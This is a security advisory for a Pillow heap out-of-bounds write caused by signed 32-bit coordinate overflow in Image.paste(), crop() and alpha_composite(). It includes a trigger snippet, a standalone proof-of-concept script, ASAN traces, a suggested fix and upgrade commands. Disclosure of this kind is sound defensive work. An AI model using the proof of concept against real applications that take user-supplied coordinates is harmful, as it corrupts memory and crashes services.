GHSA-6r8x-57c9-28j4 BIT-pillow-2026-59199 CVE-2026-59199 PYSEC-2026-3451
Pillow: Heap out-of-bounds write `Image.paste()` / `Image.crop()` via signed coordinate overflow
- Severity
- 7.5 / 10
- High · CVSS 3.1
- Exploit chance (EPSS)
- 0.39%
- Chance of exploitation in the next 30 days. Higher than 32.63% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Fix
12.3.0- Upgrade pillow to this version or later
Description
Summary
Pillow's public image coordinate APIs can trigger a native heap out-of-bounds
write when given coordinates near the signed 32-bit integer limits. In 4-byte
pixel modes such as RGBA, this becomes a controlled backward heap underwrite:
for a source image of width W, Pillow writes 4 * W attacker-controlled bytes
starting 4 * W bytes before the destination row pointer. With successful large
image allocation, the theoretical upper bound is ~2 GiB backwards from
the destination row.
Minimal public API trigger:
from PIL import Image
INT_MIN = -(1 << 31)
src = Image.new("RGBA", (2, 1), (0x41, 0x42, 0x43, 0x44))
dst = Image.new("RGBA", (8, 1))
dst.paste(src, ((1 << 31) - 2, 0, INT_MIN, 1))
The same root cause is also reachable through Image.crop() and
Image.alpha_composite(). No private API, ctypes, custom Python object, or
malformed image file is needed.
This has been confirmed as an ASAN heap-buffer-overflow write. On normal
non-ASAN Pillow builds, the minimal trigger corrupts the heap and aborts with
double free or corruption (out)
Details
src/PIL/Image.py:paste() accepts a 4-tuple box and passes it to the native
ImagingCore.paste() method:
self.im.paste(source, box)
src/_imaging.c:_paste() parses the four Python coordinates into signed int
values and calls ImagingPaste():
int x0, y0, x1, y1;
PyArg_ParseTuple(args, "O(iiii)|O!", &source, &x0, &y0, &x1, &y1, ...);
status = ImagingPaste(self->image, PyImaging_AsImaging(source), ..., x0, y0, x1, y1);
src/libImaging/Paste.c:ImagingPaste() computes and clips the region using
signed int arithmetic:
xsize = dx1 - dx0;
ysize = dy1 - dy0;
if (dx0 + xsize > imOut->xsize) {
xsize = imOut->xsize - dx0;
}
With dx0 = 2147483646 and dx1 = -2147483648, dx1 - dx0 wraps to 2.
That matches the 2-pixel source image, so the size check passes. The later
dx0 + xsize clip check wraps around and does not reject the out-of-bounds
destination.
For 4-byte pixel modes such as RGBA, the paste loop then multiplies dx by
pixelsize:
dx *= pixelsize;
xsize *= pixelsize;
memcpy(imOut->image[y + dy] + dx, imIn->image[y + sy] + sx, xsize);
For the minimal PoC, this writes 8 attacker-controlled bytes 8 bytes before the destination row allocation.
The primitive scales with the attacker-controlled source width:
source width = W
box = ((1 << 31) - W, 0, INT_MIN, 1)
C destination offset = -4 * W
C memcpy size = 4 * W
write range = [row_start - 4W, row_start)
Examples for RGBA:
W = 2 -> writes 8 bytes before the row
W = 1024 -> writes 4096 bytes before the row
W = 65536 -> writes 256 KiB before the row
W = 1000000 -> writes about 4 MiB before the row
Pillow's image creation guard currently limits xsize to roughly
INT_MAX / 4 - 1, so the theoretical upper bound for this RGBA underwrite is
2,147,483,640 bytes before the destination row pointer. In practice, the
usable range depends on memory availability, allocator layout, and process heap
state.
Two other documented APIs reach the same sink:
# Image.crop() path
left = INT_MIN + 2
Image.new("RGBA", (2, 1)).crop((left, 0, left + 2, 1))
# Image.alpha_composite() path, via its internal crop()
base = Image.new("RGBA", (2, 1))
over = Image.new("RGBA", (2, 1), (0x41, 0x42, 0x43, 0x44))
base.alpha_composite(over, dest=(left, 0))
Image.crop() keeps right - left small, so the Python decompression-bomb
check allows it. src/libImaging/Crop.c then computes wrapped paste
coordinates and calls ImagingPaste().
PoC
The following standalone script exercises all three public API paths. Save it
as b021_poc.py and run it with paste, crop, or alpha.
#!/usr/bin/env python3
import argparse
import sys
from PIL import Image
INT_MIN = -(1 << 31)
def rgba_pattern(width):
out = bytearray()
for i in range(width):
out += bytes((0x41 + (i % 26), 0x42, 0x43, 0x44))
return bytes(out)
def main():
parser = argparse.ArgumentParser()
parser.add_argument(
"variant",
choices=("paste", "crop", "alpha"),
nargs="?",
default="paste",
)
parser.add_argument("-w", "--width", type=int, default=2)
args = parser.parse_args()
width = args.width
src = Image.frombytes("RGBA", (width, 1), rgba_pattern(width))
if args.variant == "paste":
box = ((1 << 31) - width, 0, INT_MIN, 1)
dst = Image.new("RGBA", (max(8, width), 1), (0, 0, 0, 0))
print(f"variant=paste box={box}")
print(f"expected C dst offset={-4 * width}, write_size={4 * width}")
sys.stdout.flush()
dst.paste(src, box)
print("paste returned; first row:", dst.tobytes().hex())
elif args.variant == "crop":
left = INT_MIN + width
box = (left, 0, left + width, 1)
print(f"variant=crop box={box}")
sys.stdout.flush()
out = src.crop(box)
print("crop returned; output:", out.tobytes().hex())
else:
dest = (INT_MIN + width, 0)
dst = Image.new("RGBA", (max(8, width), 1), (0, 0, 0, 0))
print(f"variant=alpha dest={dest}")
sys.stdout.flush()
dst.alpha_composite(src, dest=dest)
print("alpha_composite returned; first row:", dst.tobytes().hex())
sys.stdout.flush()
if __name__ == "__main__":
main()
Run against an ASAN build:
env ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \
python b021_poc.py paste
env ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \
python b021_poc.py crop
env ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \
python b021_poc.py alpha
Observed ASAN signature for the direct Image.paste() path:
ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 8
paste /out/src/src/libImaging/Paste.c:59
ImagingPaste /out/src/src/libImaging/Paste.c:323
_paste /out/src/src/_imaging.c:1461
0x... is located 8 bytes before 32-byte region
On non-ASAN Pillow 12.2.0 and local 12.3.0.dev0, the direct minimal
Image.paste() trigger returns from paste() and then the process aborts
during cleanup with:
double free or corruption (out)
Aborted (core dumped)
Observed ASAN signature for the Image.crop() and Image.alpha_composite()
paths:
ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 8
paste /out/src/src/libImaging/Paste.c:59
ImagingPaste /out/src/src/libImaging/Paste.c:323
ImagingCrop /out/src/src/libImaging/Crop.c:57
_crop /out/src/src/_imaging.c:1090
Suggested fix
Avoid signed overflow in paste/crop coordinate arithmetic. Use checked arithmetic or a wider type before calculating widths and clipped endpoints.
For example, reject boxes whose endpoint subtraction cannot be represented cleanly, and clip using non-overflowing comparisons:
int64_t xsize64 = (int64_t)dx1 - dx0;
int64_t ysize64 = (int64_t)dy1 - dy0;
if (xsize64 < 0 || ysize64 < 0 || xsize64 > INT_MAX || ysize64 > INT_MAX) {
return ImagingError_ValueError("bad box");
}
ImagingCrop() should receive the same treatment for sx1 - sx0,
dx0 = -sx0, and dx1 = imIn->xsize - sx0.
Impact
This is a heap out-of-bounds write in Pillow's native C extension, reachable through documented public image APIs.
Applications are impacted if an untrusted user can control image operation
coordinates passed to Pillow, for example crop boxes, paste boxes, or overlay
positions. The bytes written in the direct Image.paste() variant are copied
from the source image, so attacker-controlled source pixels can influence the
out-of-bounds write. For RGBA, the write is a backward heap underwrite whose
offset and length are both 4 * source_width, bounded in practice by successful
image allocation and heap layout.
Affected versions
PyPI
| Package | Vulnerable | Fixed in |
|---|---|---|
| pillow | < 12.3.0 |
12.3.0 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
pillow PyPI → 12.3.0
- pip
pip install --upgrade "pillow>=12.3.0"- poetry
poetry add "pillow>=12.3.0"- uv
uv add "pillow>=12.3.0"
Severity breakdown
CVSS 3.1 7.5
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Weakness
CWE-190: Integer Overflow or Wraparound
The product performs a calculation that can produce an integer overflow or wraparound when the logic assumes that the resulting value will always be larger than the original value. This occurs when an integer value is incremented to a value that is too large to store in the associated representation. When this occurs, the value may become a very small or negative number.
How to prevent it
- Requirements: Ensure that all protocols are strictly defined, such that all out-of-bounds behavior can be identified simply, and require strict conformance to the protocol.
- Requirements: Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. If possible, choose a language or compiler that performs automatic bounds checking.
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Use libraries or frameworks that make it easier to handle numbers without unexpected consequences. Examples include safe integer handling packages such as SafeInt (C++) or IntegerLib (C or C++). [REF-106]
- Implementation: Perform input validation on any numeric input by ensuring that it is within the expected range. Enforce that the input meets both the minimum and maximum requirements for the expected range. Use unsigned integers where possible. This makes it easier to perform validation for integer overflows. When signed integers are required, ensure that the range check includes minimum values as well as maximum values.
- Implementation: Understand the programming language's underlying representation and how it interacts with numeric calculation (CWE-681). Pay close attention to byte size discrepancies, precision, signed/unsigned distinctions, truncation, conversion and casting between types, "not-a-number" calculations, and how the language handles numbers that are too large or too small for its underlying representation. [REF-7] Also be careful to account for 32-bit, 64-bit, and other potential differences that may affect the numeric representation.
- Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
- Implementation: Examine compiler warnings closely and eliminate problems with potential security implications, such as signed / unsigned mismatch in memory operations, or use of uninitialized variables. Even if the weakness is rarely exploitable, a single failure may lead to the compromise of the entire system.
CWE-787: Out-of-bounds Write
The product writes data past the end, or before the beginning, of the intended buffer.
How to prevent it
- Requirements: Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, many languages that perform their own memory management, such as Java and Perl, are not subject to buffer overflows. Other languages, such as Ada and C#, typically provide overflow protection, but the protection can be disabled by the programmer. Be wary that a language's interface to native code may still be subject to overflows, even if the language itself is theoretically safe.
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. Examples include the Safe C String Library (SafeStr) by Messier and Viega [REF-57], and the Strsafe.h library from Microsoft [REF-56]. These libraries provide safer versions of overflow-prone string-handling functions.
- Operation, Build and Compilation: Use automatic buffer overflow detection mechanisms that are offered by certain compilers or compiler extensions. Examples include: the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice, which provide various mechanisms including canary-based detection and range/index checking. D3-SFCV (Stack Frame Canary Validation) from D3FEND [REF-1334] discusses canary-based detection in detail.
- Implementation: Consider adhering to the following rules when allocating and managing an application's memory: Double check that the buffer is as large as specified. When using functions that accept a number of bytes to copy, such as strncpy(), be aware that if the destination buffer size is equal to the source buffer size, it may not NULL-terminate the string. Check buffer boundaries if accessing the buffer in a loop and make sure there is no danger of writing past the allocated space. If necessary, truncate all input strings to a reasonable length before passing them to the copy and concatenation functions.
- Operation, Build and Compilation: Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code. Examples include Address Space Layout Randomization (ASLR) [REF-58] [REF-60] and Position-Independent Executables (PIE) [REF-64]. Imported modules may be similarly realigned if their default memory addresses conflict with other modules, in a process known as "rebasing" (for Windows) and "prelinking" (for Linux) [REF-1332] using randomly generated addresses. ASLR for libraries cannot be used in conjunction with prelink since it would require relocating the libraries at run-time, defeating the whole purpose of prelinking. For more information on these techniques see D3-SAOR (Segment Address Offset Randomization) from D3FEND [REF-1335].
- Operation: Use a CPU and operating system that offers Data Execution Protection (using hardware NX or XD bits) or the equivalent techniques that simulate this feature in software, such as PaX [REF-60] [REF-61]. These techniques ensure that any instruction executed is exclusively at a memory address that is part of the code segment. For more information on these techniques see D3-PSEP (Process Segment Execution Prevention) from D3FEND [REF-1336].
- Implementation: Replace unbounded copy functions with analogous functions that support length arguments, such as strcpy with strncpy. Create these if they are not available.
References
Advisories
Packages
Other links
- github.com/python-pillow/Pillow/security/advisories/GHSA-6r8x-57c9-28j4
- github.com/python-pillow/Pillow/pull/9703
- github.com/python-pillow/Pillow/commit/ceefc348eb3c3844c7f9796ef2cc3a7dd5fbba7b
- github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-3451.yaml
- github.com/python-pillow/Pillow/releases/tag/12.3.0
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| PYSEC-2023-175 Pillow versions before v10.0.1 bundled libwebp binaries in wheels that are vulnerable to CVE-2023-5129 (previously CVE-2023-4863). | High Known exploited | Also affects pillow |
| GHSA-j7hp-h8jx-5ppr libwebp: OOB write in BuildHuffmanTable | High Known exploited | Also affects pillow |
| GHSA-78g4-xqwv-q3g8 Pillow: Bundled libopenjp2 2.5.4 in all wheels since 11.1.0 carries OSV-2025-219 heap-buffer-overflow write reachable from Image.open().load() | High | Also affects pillow |
| GHSA-654x-cwwv-5j9c Pillow: Arrow export leaks stale heap memory when PILLOW_ALIGNMENT > 1 | Medium | Also affects pillow |
| GHSA-xvh5-g6gv-559v Pillow: Memory disclosure and segfault in libtiff encoder via crafted TIFF tags | High | Also affects pillow |
| GHSA-g7cr-3p24-7wf7 Pillow: Heap buffer overflow writing JPEG comment after ICC profile fills buffer | High | Also affects pillow |
| GHSA-9v9v-9qvf-h2hj Pillow: Heap over-read in WMF/EMF rendering via 16-bit dimension truncation (Windows builds) | High | Also affects pillow |
| GHSA-g4qv-2jxx-769h Pillow: PNG eXIf chunk makes EXIF parsing run in quadratic time | Medium | Also affects pillow |
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